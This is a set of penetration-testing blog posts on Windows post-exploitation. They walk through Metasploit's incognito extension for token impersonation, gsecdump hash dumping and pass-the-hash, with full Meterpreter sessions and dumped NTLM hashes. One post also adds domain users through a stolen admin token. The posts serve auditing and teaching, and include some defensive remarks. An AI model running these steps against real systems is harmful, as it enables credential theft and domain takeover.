More on working with Incognito and Metasploit

Since a buddy asked for some clarification on using incognito extension with Metasploit/Meterpreter I'll post some more notes on it.

the background you need is here:
http://www.mwrinfosecurity.com/publications/
mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

Let's set up the scenario.

We either exploited something...yea! or we guessed an admin password and used the psexec module (that's what I did). the psexec module will drop us to a SYSTEM shell if all went well.

msf exploit(psexec) > sessions

Active sessions
===============

Id  Description  Tunnel                          
--  -----------  ------                          
1   Meterpreter  192.168.1.102:52595 -> 192.168.1.103:31851

msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: ORACLE-ENT
OS      : Windows .NET Server (Build 3790, Service Pack 2).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > use incognito
Loading extension incognito...success.

now we want to query what tokens are available

Incognito Commands
==================

Command              Description                                   
-------              -----------                                   
add_group_user       Attempt to add a user to a global group with all tokens
add_localgroup_user  Attempt to add a user to a local group with all tokens
add_user             Attempt to add a user with all tokens         
impersonate_token    Impersonate specified token                   
list_tokens          List tokens available under current user context
snarf_hashes         Snarf challenge/response hashes for every token

meterpreter > list_tokens
Usage: list_tokens 

Lists all accessible tokens and their privilege level

OPTIONS:

-g        List tokens by unique groupname
-u        List tokens by unique username

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
ORACLE-ENT\Administrator

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

We want to become the ORACLE-ENT\Administrator user

meterpreter > impersonate_token
Usage: impersonate_token 

Instructs the meterpreter thread to impersonate the specified token. All other actions
will then be made in the context of that token.

Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token ORACLE-ENT\\Administrator
[+] Delegation token available
[+] Successfully impersonated user ORACLE-ENT\Administrator
meterpreter > getuid
Server username: ORACLE-ENT\Administrator

Weeeeeeeeee!

Ok, should you need to get back to system, just do a rev2self

meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token ORACLE-ENT\\Administrator
[+] Delegation token available
[+] Successfully impersonated user ORACLE-ENT\Administrator
meterpreter > getuid
Server username: ORACLE-ENT\Administrator

Now you'll probably want to run commands as that user...I hope that was the point of all this...

After you load the incognito extension you'll get an extra option with your execute options (-t)

meterpreter > execute
Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:

-H        Create the process hidden from view.
-a   The arguments to pass to the command.
-c        Channelized I/O (required for interaction).
-d   The 'dummy' executable to launch when using -m.
-f   The executable command to run.
-h        Help menu.
-i        Interact with the process after creating it.
-m        Execute from memory.
   -t        Execute process with currently impersonated thread token

We need to use the "-t" so we can use the impersonated thread token, otherwise you'll get a shell as SYSTEM or whoever you were.

meterpreter > execute -f cmd.exe -H -c -i -t
Process 2936 created.
Channel 6 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\>whoami
whoami
oracle-ent\administrator

C:\>

passing the hash with gsecdump and msvctl (yes more)

So just a follow up post on gsecdump and msvctl after doing prep for post exploitation topics for the toorcon workshop.

For some reason I thought that gsecdump would not require admin privileges, this is incorrect it will require admin or system on the box. What it doesn't require is injecting into lsass to get the hashes (at least according to here).

"Most notable features are extracting password hashes for active logon sessions, LSA secrets without injecting into lsass.exe making it safe to run on any system and pwdump functionality without DLL injection (and a lot more stable). Gsecdump has no DLL dependency making it very easy to use on remote systems with psexec. If it for some reason can't do what it is supposed to, try running it as SYSTEM and you should get your info."

OK, so you still need admin or higher but the cool thing (and I have already covered this) is that it dumps the hashes for active logon sessions. Now, the key to to that is active logon sessions. So if you are userland and admin or higher then you might be stuck with that user's hash because once the log out the active logon session hash seems to disappear (sometimes ??) but if you get a system shell you might get some of the old logged in users.

example:
#popped a system shell and got a command shell with meterpreter

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

#logged into the box as nobody

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
XPSP1VM\nobody::e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Logged out as nobody
C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Once nobody logs out, things were back to where they were. This is an important distinction between gsecdump/msvctl and token stealing. But, once you have a hash, any user can use that hash where you have to be admin/system to pass tokens.

Let's see the same scenario with incognito

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#login as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
XPSP1VM\nobody

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#log out as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
XPSP1VM\nobody

meterpreter > impersonate_token XPSP1VM\\nobody
[-] No delegation token available
[+] Successfully impersonated user XPSP1VM\nobody
meterpreter > getuid
Server username: XPSP1VM\nobody
meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Lastly, like I already mentioned in the other msvctl post, you have to actually be sitting on the box to get your new shell with the user's creds you passed because it pops up a whole new command shell. Which is kind of a bummer, with a remote shell. You'll have to use the pass the hash toolkit instead.

Some other reading on gsecdump and msvctl
http://blogs.pointbridge.com/Blogs/seaman_derek/Pages/Post.aspx?_ID=20
http://ciac.llnl.gov/ciac/techbull/CIACTech08-002.shtml

http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx

Also I was doing some googling on pass the hash and came across this post in reference to the pass the hash problem, best part in bold.

http://www.eggheadcafe.com/software/aspnet/30890366/hash-injection-mitigation.aspx
best quote:

"Hash injection mitigation? - Steve Riley [MSFT] <06-oct-07 style="font-weight: bold;">In either case, you need to become admin of the computer before you can force the compromised machine to release its hashes from memory, which lessens the likelihood of success. And if you did manage to become admin, there are fare more interesting attacks that you'd want to attempt. By the way, sniffing a network connection won't reveal hashes. In other words, there's nothing new here, and very little that you need to worry about."

I don't know, going from a local admin on a box to domain admin is pretty interesting to me...

2 More Webcasts by Ed Skoudis

Here are two more webcasts to take a look at. I know you have to be registered to see the SANS one.

New Computer Attack Tools and Techniques at SANS

Penetration Testing Ninjitsu Part II: Crouching Netcat, Hidden Vulnerabilities with Ed Skoudis at CORE Security

The SANS one was good. here is the outline:

• Improved Scanning with NSE
• Cain – The Attacker’s Dream Tool
• Pass the Hash Attacks
• New Research Areas & Conclusions

Pretty good stuff. I hope that nmap can become the "single vulnerability" checker that nessus used to be, that would be handy.

You can also get some more info on Pass the Hash stuff on my blog and similarly the token impersonation techniques. Both things you should probably be incorporating into your pentest methodology.

I havent watched the Penest Ninjitsu Part II one yet.

Token Passing with Incognito Part 3

Sorry no screen shots, i didnt think anyone would care that much but I have been able to confirm in my testing (dameware 6) that if you are using dameware in your enterprise for remote management/admin you are leaving tokens laying around on the remote boxes.

Because dameware just gives you a screen on the remote host and you still have to log in, the token lingers until you reboot.

Good to know if you are auditing an organization that uses dameware. Like most things, the real protection is to ensure the auditor/attacker cant get on the box in the first place and for client side attacks that the privilege to leverage the token passing tool is not allowed on user accounts (even admin accounts unless its needed). This is configurable in group policy.

still to-do, Terminal Services and RDP

Token Passing with Incognito Part 2

Alright, i love this tool and its been officially merged into the msf trunk which is just super.

After talking to the guys at work and doing some thinking on it, the most useful aspect of incognito is being able to become a domain user (if they have logged into the compromised box since the last reboot). Why would i want to be a user instead of the all powerful SYSTEM? well, for one thing, users have access to "net" commands and can enumerate domain information and can view and map shares and what not, generally system while megabadass on the box you are on cant do jack on the domain. SOOOO unless you popped a shell on the DC we need to try to become a user.

so on to the screenshots...

So normal scenario we pop a shell with metasploit, with the NEW "old reliable" msdns_zonename exploit and use the meterpreter payload. Once we are in our meterpreter shell do a "use incognito" to load the library.


we list the available tokens by user using "list_tokens -u". Once we see someone we want to try to impersonate we run the "impersonate_token "domain\\user" command. We can verify it worked using a getuid in meterpreter.

At this point we have two options. We can run commands as our new user and create our own user and add them to whatever groups we want to add them to. Keep in mind that "most" of this works because the person we are impersonating had admin priviliges on the domain (as far as adding users to the domain). If we just wanted to become a user to do domain enumeration we can still do that.

so lets see getting a command shell with our impersonated token.



you have to make sure you pass it the "-t" option to use your token.

2nd option is to just add a user and add them to the appropriate group(s). Just follow along, its not too hard.













now you can just log in normally to the domain, or do whatever it is you need to do to get your paycheck.

I did some playing with the dameware and this tool. i'll save comments for a future post and I need to do some more playing but it appears to be leaving a token in memory as well.

Token Passing with Incognito

I've seen a few people post a link to this paper and tool but no one actually showing it in use yet, so here is the first of some notes on it.

From the whitepaper:
"Domain Privilege Escalation refers to the ability to use a Delegate token to access other systems, which may otherwise be secure from direct attack. This is possible because Delegate tokens contain authentication credentials and so can be used to access external systems for which those credentials are valid.

In order to perform this type of attack, it is usually necessary to have administrative privileges on the compromised system. This is because impersonating a token requires the “SeImpersonate” privilege, as of Windows XP SP2, Windows 2003 and Windows 2000 SP4; additionally, Delegate tokens are normally the result of interactive logins and so administrative access is required in order to access the tokens present in all user processes on the system. Other privileges may also be required (such as “SeAssignPrimaryTokenPrivilege” and “SeCreateTokenPrivilege”) depending on the specific post-exploitation task performed.

There are, however, some exceptions to this. For example, if an attacker were to compromise a service account that was trusted for delegation then they may be able to perform this attack, since services are normally given the “SeImpersonate” privilege. Additionally, on systems before “SeImpersonate” was introduced it may be possible to perform this attack from a low privileged user account under certain circumstances.

A good example of a use case for this type of attack would be as part of compromising a critical database server. If an attacker were unable to compromise the database server directly then they could turn their attention to the DBA’s workstation, since their user account will often have legitimate access to the database servers themselves. If they successfully compromised the workstation then they could use the tokens present to access the database server."

If you actually read the whitepaper there are several scenarios. I am going to cover having a user account with administrative privileges, dumping available tokens, and becoming another user.

Let's get started. First we want to see who we are. Let's run the "set" command to see.


Let's also see what groups brian is in:



Then we run find_token (which any user can actually run) and then we use incognito to list tokens that are available to delegate and impersonate
Next we connect to the remote box, and use the impersonate token for HOUSEOFMUNCH\root and become that user.

To-Do:

pop a system shell and become a user

user the meterpreter incognito module

verify the terminal services stuff in the paper

see how dameware with windows authentication handles tokens

whitepaper: http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
project website: http://sourceforge.net/projects/incognito
DEFCON 15 Presentation (pdf): http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-jennings.pdf
DEFCON 15 Presentation (video): Broke...WTF

Related:
Token Kidnapping by Cesar http://www.argeniss.com/research/TokenKidnapping.pdf